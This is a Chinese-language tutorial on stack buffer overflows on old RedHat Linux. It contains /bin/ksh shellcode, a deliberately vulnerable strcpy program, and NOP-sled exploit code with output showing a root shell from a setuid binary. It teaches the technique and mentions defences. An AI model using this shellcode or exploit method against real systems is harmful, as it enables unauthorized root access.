歡迎您光臨本站 註冊首頁

shellcode技術探討續二

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  概述:

本文給出一個完整的利用緩衝區溢出取得root shell的
示例,只要你照著步驟一步步下來,就不會覺得它的神秘,
而我的意圖正在於此。如果看不明白什麼地方,可以在這裡
提問,mail to: ,或者到綠色兵團的
Unix安全論壇上提問,tt在那裡。水木清華97年以前就大范
圍高水平討論過緩衝區溢出,你沒趕上只能怪自己生不逢時。

測試:

RedHat 6.0/Intel PII

目錄:

1. 先來看一次緩衝區溢出
2. 研究這個溢出
3. 修改代碼加強理解
4. 進一步修改代碼
5. 還想到什麼
6. 堆棧可執行
7. 一個會被緩衝區溢出攻擊的程序例子
8. 利用緩衝區溢出取得shell
9. 分析取得shell失敗的原因
10. 危險究竟在於什麼
11. 待溢出緩衝區不足以容納shellcode時該如何溢出
12. 總結與思考

1. 先來看一次緩衝區溢出

vi shelltest.c

/* 這是原來的shellcode */
/*
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
*/

/* 這是我們昨天自己得到的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
"\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[128];

int main ()
{
char buffer[96];
int i;
long * long_ptr = ( long * )large_string;

for ( i = 0; i < 32; i++ )
{
/* 用buffer地址一路填寫large_string,一個指針佔用4個位元組 */
*( long_ptr + i ) = ( int )buffer;
}
for ( i = 0; i < strlen( shellcode ); i++ )
{
large_string[ i ] = shellcode[ i ];
}
/* 這個語句導致main()的返回地址被修改指向buffer */
strcpy( buffer, large_string );
}

gcc -o shelltest shelltest.c
./shelltest
exit

這個程序所做的是,在large_string中填入buffer的地址,並把shell代碼
放到large_string的前面部分。然後將large_string拷貝到buffer中,造成它溢
出,使返回地址變為buffer,而buffer的內容為shell代碼。這樣當程序試圖從
main()中返回時,就會轉而執行shell。

scz註:原文有誤,不是試圖從strcpy()返回,而是試圖從main()返回,必須
區別這兩種說法。

2. 研究這個溢出

在shellcode後面大量追加buffer指針,這是程序的關鍵所在,只有這樣才能
使得buffer指針覆蓋返回地址。其次,返回地址是四位元組四位元組來的,所以
在程序中出現的128和96不是隨便寫的數字,這些4的整數倍的數字保證了
在strcpy()調用中能恰好對齊位置地覆蓋掉返回地址,否則前後一錯位就
不是那麼回事情了。

要理解程序的另外一個關鍵在於,堆是位於代碼下方棧上方的。所以buffer
的溢出只會朝棧底方向前進,並不會覆蓋掉main()函數本身的代碼,也是附和
操作系統代碼段只讀要求的。不要錯誤地懷疑main()函數結束處的ret語句會
被覆蓋,切記這點。很多閱讀該程序的兄弟錯誤地認為buffer位於代碼段中,
於是一路覆蓋下來破壞了代碼本身,昏倒。

3. 修改代碼加強理解

我們先只做一個修改:

for ( i = 0; i < 32; i++ )
{
/* 用shellcode地址一路填寫large_string,一個指針佔用4個位元組 */
*( long_ptr + i ) = ( int )shellcode;
}

返回地址被覆蓋成shellcode指針,同樣達到了取得shell的效果。

4. 進一步修改代碼

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
"\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[128];

int main ()
{
char buffer[96];
int i;
long * long_ptr = ( long * )large_string;

for ( i = 0; i < 32; i++ )
{
/* 用shellcode地址一路填寫large_string,一個指針佔用4個位元組 */
*( long_ptr + i ) = ( int )shellcode;
}
/* 這個語句導致main()的返回地址被修改指向buffer */
strcpy( buffer, large_string );
}

啊哈,還是達到了效果。完全沒有必要把shellcode拷貝到buffer中來嘛,定義
buffer的唯一作用就是利用獲得堆指針進而向棧底進行覆蓋,達到覆蓋返回地址
的效果。

5. 還想到什麼

既然buffer本身一錢不值,為什麼要定義那麼大,縮小它!

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
"\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char large_string[12]; /* 修改 */

int main ()
{
char buffer[4]; /* 修改 */
int i;
long * long_ptr = ( long * )large_string;

for ( i = 0; i < 3; i++ ) /* 修改 */
{
/* 用shellcode地址一路填寫large_string,一個指針佔用4個位元組 */
*( long_ptr + i ) = ( int )shellcode;
}
/* 這個語句導致main()的返回地址被修改指向buffer */
strcpy( buffer, large_string );
}

打住,再修改就失去研究的意義了。

6. 堆棧可執行

在這裡我們需要解釋一個概念,什麼叫堆棧可執行。
按照上述第1條目中給出的代碼,實際上shellcode進入了堆區甚至棧區,
最終被執行的是堆棧中的數據,所謂堆棧可執行,大概是說允許堆棧中
的數據被作為指令執行。之所以用大概這個詞,因為我自己對保護模式
彙編語言不熟悉,不了解具體細節,請熟悉的兄弟再指點。許多操作系
統可以設置系統參數禁止把堆棧中的數據作為指令執行,比如solaris
中可以在/etc/system中設置:

* Foil certain classes of bug exploits
set noexec_user_stack = 1

* Log attempted exploits
set noexec_user_stack_log = 1

Linux下如何禁止堆棧可執行我也沒仔細看過相關文檔,誰知道誰就說
一聲吧。

按照上述第3條目及其以後各條目給出的代碼,實際上執行了位於數據段
.data中的shellcode。我不知道做了禁止堆棧可執行設置之後,能否阻止
數據段可執行?誰了解保護模式彙編,給咱們講講。

即使這些都被禁止了,也可以在代碼段中嵌入shellcode,代碼段中的
shellcode是一定會被執行的。

可是,上面的討論忽略了一個重要前提,我們要溢出別人的函數,而
不是有源代碼供你修改的自己的函數。在這個前提下,我們最可能利用的
就是第一種方式了,明白?

7. 一個會被緩衝區溢出攻擊的程序例子

我們僅僅明白了如何利用緩衝區溢出修改函數的返回地址而已。可前面修改的
是我們自己的main()函數返回地址,沒有用。仔細想想,如果執行一個suid了
的程序,該程序的main()函數實現中有下述代碼:

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
char buffer[ 16 ] = "";
if ( argc > 1 )
{
strcpy( buffer, argv[1] );
puts( buffer );
}
else
{
puts( "Argv[1] needed!" );
}
return 0;
}

[scz@ /home/scz/src]> ./overflow 0123456789abcdefghi
0123456789abcdefghi
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghij
0123456789abcdefghij
Segmentation fault (core dumped)
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijk
0123456789abcdefghijk
BUG IN DYNAMIC LINKER ld.so: dl-runtime.c: 61: fixup: Assertion `((reloc->r_info) & 0xff) == 7' failed!
[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijkl
0123456789abcdefghijkl
Segmentation fault (core dumped)
[scz@ /home/scz/src]> gdb overflow
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"..
(gdb) target core core < -- -- -- 調入core文件
Core was generated by `./overflow 0123456789abcdefghijkl'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x40006c79 in _dl_load_cache_lookup (name=Cannot access memory at address 0x6a69686f.
) at ../sysdeps/generic/dl-cache.c:202
../sysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach < -- -- -- 卸掉core文件
No core file now.
(gdb)

8. 利用緩衝區溢出取得shell

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE 256
#define DEFAULT_OFFSET 64

unsigned long get_esp ()
{
__asm__
("
movl %esp, %eax
");
}

int main ( int argc, char * argv[] )
{

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
"\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char * buffer = 0;
unsigned long * pAddress = 0;
char * pChar = 0;
int i;
int offset = DEFAULT_OFFSET;

buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
if ( buffer == 0 )
{
puts( "Can't allocate memory" );
exit( 0 );
}
pChar = buffer;
/* fill start of buffer with nops */
memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
pChar += ( BUFFER_SIZE - strlen( shellcode ) );
/* stick asm code into the buffer */
for ( i = 0; i < strlen( shellcode ); i++ )
{
*( pChar++ ) = shellcode[ i ];
}
pAddress = ( unsigned long * )pChar;
for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
{
*( pAddress++ ) = get_esp() + offset;
}
pChar = ( char * )pAddress;
*pChar = 0;
execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
return 0;
}

程序中get_esp()函數的作用就是定位堆棧位置。首先分配一塊內存buffer,然後在buffer的前面部分
填滿NOP,後面部分放shellcode。最後部分是希望程序返回的地址,由棧頂指針加偏移得到。當以buffer
為參數調用overflow時,將造成overflow程序的緩衝區溢出,其緩衝區被buffer覆蓋,而返回地址將指向
NOP指令。

[scz@ /home/scz/src]> gcc -o overflow_ex overflow_ex.c
[scz@ /home/scz/src]> ./overflow_ex
... ...
.../bin/ksh...
... ...
Segmentation fault (core dumped)
[scz@ /home/scz/src]>

失敗,雖然發生了溢出,卻沒有取得可以使用的shell。

9. 分析取得shell失敗的原因

條目7中給出的源代碼表明overflow.c只提供了16個位元組的緩衝區,
按照我們前面討論的溢出技術,overflow_ex導致overflow的main()函數的返回地址被0x90覆蓋,
沒有足夠空間存放shellcode。

讓我們對overflow.c做一點小小的調整以遷就overflow_ex.c的成功運行:

old: char buffer[ 16 ] = "";
new: char buffer[ 256 ] = "";

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的漢字顯示
.../bin/ksh...
... ... < -- -- -- 返回地址的漢字顯示
$ exit < -- -- -- 取得了shell
[scz@ /home/scz/src]>

10. 危險究竟在於什麼

假設曾經發生過這樣的操作:

[root@ /home/scz/src]> chown root.root overflow
[root@ /home/scz/src]> chmod +s overflow
[root@ /home/scz/src]> ls -l overflow
-rwsr-sr-x 1 root root overflow
[root@ /home/scz/src]>

好了,麻煩就是這樣開始的:

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的漢字顯示
.../bin/ksh...
... ... < -- -- -- 返回地址的漢字顯示
# id < -- -- -- 你得到了root shell,看看你是誰吧
uid=500(scz) gid=100(users) euid=0(root) egid=0(root) groups=100(users)
~~~~~~~~~~~~~~~~~~~~~~~~~ 昏倒
# exit
[scz@ /home/scz/src]> id
uid=500(scz) gid=100(users) groups=100(users)
[scz@ /home/scz/src]>

至此你應該明白如何書寫自己的shellcode,如何辨別一個shellcode是否
真正是在提供shell而不是木馬,什麼是緩衝區溢出,究竟如何利用緩衝區
溢出,什麼情況下的緩衝區溢出對攻擊者非常有利,suid/sgid程序的危險
性等等。於是你也明白了,為什麼某些exploit出來之後如果沒有補丁,
一般都建議你先chmod -s,沒有什麼奇怪,雖然取得shell,但不是
root shell而已。

11. 待溢出緩衝區不足以容納shellcode時該如何溢出

vi overflow.c

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
char buffer[ 9 ] = "";
if ( argc > 1 )
{
strcpy( buffer, argv[1] );
puts( buffer );
}
else
{
puts( "Argv[1] needed!" );
}
return 0;
}

---------------------------------------

vi overflow_ex.c

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE 256

/* 取棧基指針 */
unsigned long get_ebp ()
{
__asm__
("
movl %ebp, %eax
");
}

int main ( int argc, char * argv[] )
{

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
"\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ksh";

char * buffer = 0;
unsigned long * pAddress = 0;
char * pChar = 0;
int i;

buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
if ( buffer == 0 )
{
puts( "Can't allocate memory" );
exit( 0 );
}
pAddress = ( unsigned long * )buffer;
for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
{
*( pAddress++ ) = get_ebp() + BUFFER_SIZE;
}
pChar = buffer + BUFFER_SIZE;
/* fill start of buffer with nops */
memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
pChar += ( BUFFER_SIZE - strlen( shellcode ) );
/* stick asm code into the buffer */
for ( i = 0; i < strlen( shellcode ); i++ )
{
*( pChar++ ) = shellcode[ i ];
}
*pChar = 0;
execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
return 0;
}

[scz@ /home/scz/src]> ./overflow_ex
... ... < -- -- -- 返回地址的漢字顯示
... ... < -- -- -- NOP指令的漢字顯示
.../bin/ksh... < -- -- -- shellcode的漢字顯示
$ exit < -- -- -- 溢出成功,取得shell
[scz@ /home/scz/src]>

warning3註:對於簡單的弱點程序,這種方法是可行的.不過如果問題
函數有很多參數,並且這些參數在strcpy()之後還要使用的話,這種方
法就很難成功了.
例如:
vulnerable_func(arg1,arg2,arg3)
{
char *buffer[16];
...
strcpy(buffer,arg1);
...
other_func(arg2);
...
other_func(arg3);
...
}
如果直接覆蓋,就會導致arg1,arg2,arg3也被覆蓋,函數就可能不能正常返回.

Aleph1的辦法是將shellcode放到環境變數里傳遞給有弱點的函數,用環境變數
的地址做為返回地址,這樣我們可以只用24個位元組的buffer來覆蓋掉返回地址,
而不需要改動參數.

12. 總結與思考

上面這些例子本身很簡單,完全不同於那些極端複雜的溢出例子。但無論多麼
複雜,其基本原理是一樣的。要完成取得root shell的緩衝區攻擊:

a. 有一個可以發生溢出的可執行程序,各種Mail List會不斷報告新發現的可供
攻擊的程序;自己也可以通過某些低級調試手段獲知程序中是否存在容易發生
溢出的函數調用,這些調試手段不屬於今天講解範疇,以後再提。
b. 該程序是root的suid程序,用ls -l確認。
c. 普通用戶有適當的許可權運行該程序。
d. 編寫合理的溢出攻擊程序,shellcode可以從以前成功使用過的例子中提取。
e. 要合理調整溢出程序,尋找(或者說探測)main()函數的返回地址存放點,找到
它並用自己的shellcode地址覆蓋它;這可能需要很大的耐心和毅力。

從這些簡單的示例中看出,為了得到一個可成功運行的exploit,攻擊者們付出過太
多心血,每一種技術的產生和應用都是各種知識長期積累、自己不斷總結、大家群策
群力的結果,如果認為了解幾個現成的bug就可以如何如何,那是種悲哀。

後記:

顛峰時刻的水木清華的確不是其他站點可以大範圍超越的,儘管在某些個別版面上
存在著分庭抗禮。如果你想了解系統安全,應該從水木清華 Hacker 版98.6以前的
所有精華區打包文件開始,那些舊日的討論和技術文章在現在看來也值得初學者仔
細研讀。

文章的宗旨並不是教你進行實際破壞,但你掌握了這種技術,或者退一步,了解過這
種技術,對於狂熱愛好計算機技術的你來說,不是什麼壞事。也許在討論它們的時候,
某些人企圖阻止過你了解它們,或者當你想了解它們的時候,有人給你帶來過不愉快
的感受,忘記這些人,just do it! 只是你還應該明白一些事實,看過<<這個殺手不
太冷>>沒有,no children、no women,我想說的不是這個,但你應該明白我想說什麼。
Good luck for you.





原作者:未知
來 源:http://www.nsfocus.com



[火星人 ] shellcode技術探討續二已經有798次圍觀

http://coctec.com/docs/security/show-post-72836.html